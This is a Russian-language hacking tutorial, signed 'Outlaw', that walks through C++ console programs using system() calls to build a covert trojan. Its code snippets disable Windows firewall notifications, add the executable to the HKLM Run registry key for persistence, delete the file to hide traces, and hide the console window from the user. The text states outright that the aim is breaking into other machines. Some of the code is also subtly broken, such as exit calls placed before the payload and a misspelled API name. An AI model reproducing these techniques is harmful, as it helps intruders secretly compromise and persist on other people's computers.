[ Кодинг на C++ под Windows. Часть 3 ]

Привет, сегодня мы опять программируем на c++, только сегодня писать мы будем консольные
программы в Borland C++ Builder, я покажу для тех кто незнает, как можно написать программу
с использованием средств командной строки, в принципе дело конечно не благородное
использовать готовые программы Windows, но знания команд командной строки это хороший плюс
и всегда пригодится. Вопрос конечно, а зачем нам писать такого рода программы? Отвечу,
иногда при взломе другой машины или работы в своей операционной системе некоторые процессы
хочеться автоматизировать, то есть что бы мы не писали каждый раз в командной строке по 10
команд, а наша программа по очереди выполняла их. Вот к примеру фрагмент кода:

#include <vcl.h>
#include <windows.h>  //Подключаем для доступа к командам виндовс
#include <iostream.h> //Подключаем для доступа к cout, cin и т.д
#pragma hdrstop


#pragma argsused
int main(int argc, char* argv[])
{
    int x;          //Объявляем целую переменную X
    system("HELP"); //Оператор system используем его для доступка к cmd
    cout << "Enter 1 to exit: "; //Вывод сообщения о вводе
    cin >> x;                    //Ввод с клавиатуры для присвоения значения X
    if (x == 1) cout << "Good";  //Если ввели один то вывести сообщение
}

Самое главное в этом коде это оператор system и на него мы  будем делать упор и конечно
работать с ним, если выполнить программу, вы уже конечно поняли что будет при выполнении
программы, выполнится команда командной строки "HELP" и увидим список команд командной строки.
Как работать с оператором System вы уже поняли теперь представим что нам нужно, поставим
себе цели:

1 - Отключить сообщения,предупреждения встроеного firewall windows
2 - Работа с рестром
3 - Удаление всех следов
4(Самое главное) - Скрыть окно cmd при выполнении если пользователь активен

Так задачи поставлены, теперь реализуем каждую по очереди и разбираем для чего данные команды
нам нужны, и так первое это пожалуй нам все должно быть знакомая команда "netsh" что от нее
нужно, а именно отключить все сообщения firewall windows, что бы при выполнении нашего
"exe - файла" не выскочило окошко и пользователь не увидел его, если даже мы будем выполнять
"FTP" команды на чужой машине firewall не сказал об этом, суть вы уловили теперь начнем
реализацию нашей программы, создайте новый проект и напишите такой код:

{
        int x;
        system("netsh firewall set notifications disable");
        cout << "Enter 1 to exit: ";
        cin >> x;
        if (x == 1) cout << "Good";
}

В этом проекте мы отключили все уведомления firewall windows, можите в cmd набрать команду
"netsh" и посмотреть что можно вам для ваших целий использовать команды в нашей программе,
а мы двигаемся дальше. Теперь нам надо организовать работу с рестром, объясню что бы добавить
что ли в рестор мы всегда получаем диологовое окно с сообщение добавить то-то в рестр, нам
этого не надо, нам все надо сделать скрытно, поэтому, добовляем следующию команду:

{
        int x;
        system("netsh firewall set notifications disable");
        system("REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
        cout << "Enter 1 to exit: ";
        cin >> x;
        if (x == 1) cout << "Good";
}

Это тестовый вариант, просто показано как работать с рестром, а что добовлять решать тебе в
данном случае щас я добавлю в рестор имя данного "exe-файла", и так вот как добавить в рестр
имя файла:

{

        int x;
        system("netsh firewall set notifications disable");
        system("SET MY=%windir%\project2.exe");
        system("REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Data /t REG_SZ /d %MY%");
        cout << "Enter 1 to exit: ";
        cin >> x;
        if (x == 1) cout << "Good";
}

Так тут уже я поясню, после того как я отключил сообщения firewall windows, следующим делом я
создал переменную "MY", просмотреть все переменый виндовс можно прописав "SET" в cmd, потом я
добавил данные в рестр, что означают параметры /v , /t, /d можно посмотреть в командной строке,
поскольку я описываю как работать с данным кодом я поясню, параметр /v - имя параметра
добавляемого в выбранный раздел в данном случае это Data, /t - Тип данных, если не указан то
по умолчанию REG_SZ, /d - Значение присваемое добовляемому параметру рестра в данном случае
это наша переменая которую мы создали.

{
        int x;
        system("netsh firewall set notifications disable");
        system("SET MY=%windir%\project2.exe");
        system("REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Data /t REG_SZ /d %MY%");
        system("IF EXIST C:\Project2.exe. (del C:\Project2.exe.) ELSE echo not found.");
        cout << "Enter 1 to exit: ";
        cin >> x;
        if (x == 1) cout << "Good";
}

Так вроде бы все готово, после всего что мы сделали мы должны удалить все свои следы и а
именно наш "exe" что мы и сделали в конце, теперь нам надо написать код который скроит окно
выполнения всех наших команд, проще скрыть от пользователя что выполняется cmd, он просто ее
не увидит:

{

        HWND hwnd;
        hwnd = GetForegRoundWindow();
        ShowWindow(hwnd, SW_HIDE);
        system("project2.exe");
        ExitProcess(0);

        system("netsh firewall set notifications disable");
        system("SET MY=%windir%\project2.exe");
        system("REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Data /t REG_SZ /d %MY%");
        system("IF EXIST C:\Project2.exe. (del C:\Project2.exe.) ELSE echo not found.");

}

И так все готово, наша программа в первую очередь незаметна, второе мы отключили все сообщения
firewall windows, третье добавили без палева информацию в реестр и потом после всех дел удалили
исполняемый файл(нужно указать путь где лежит exe). Ну вот я думаю ты понял как работать с
оператором system, и как скрыть и работать с командами командной строки, изучай, тренеруйся с
помощью команд виндовс можно организовать свой троянский конь :))

(c) Outlaw